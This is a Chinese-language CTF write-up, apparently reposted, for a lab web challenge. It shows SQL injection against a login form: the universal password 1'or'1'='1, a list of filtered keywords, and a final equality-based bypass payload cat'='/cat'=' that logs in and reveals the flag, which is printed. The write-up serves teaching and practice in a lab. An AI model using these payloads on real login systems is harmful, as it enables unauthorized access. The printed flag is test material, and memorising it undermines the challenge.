【實驗吧】CTF_Web_登錄一下好嗎?


 

實驗吧CTF---Web篇

1. 打開登錄地址(http://ctf5.shiyanbar.com/web/wonderkun/web/index.html),發現為一個登錄界面,第一想到的是查看源代碼,沒有發現其他信息,然后輸入萬能密碼1'or'1'='1,發現過濾了or ,但未過濾單引號(‘)等,如下圖:

 

     經過一些列測試,發現不但過濾了or,並且過濾了/ # -- select | union等。

     猜測原SQL語句可能為:

select * form user where username = ' ' and password = ' '

    在Mysql上創建user表模擬該登錄表的信息:    

create database test;   //創建test數據庫

use test;    

create table user(username varchar(8), password varchar(32));  //創建user表

insert into user(username, password) values('test','123456');  //插入數據

select * from user where name = 'cat'='' and passwd = 'cat'='';  可成功執行

  如下圖所示,可成功執行並返回數據庫信息:


組合后代碼為:
select * from user where name = 'cat'='' and passwd = 'cat'='';
即payload:   cat'='/cat'=' 

可成功登錄並獲取flag:  ctf{51d1bf8fb65a8c2406513ee8f52283e7}

 

 

   

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM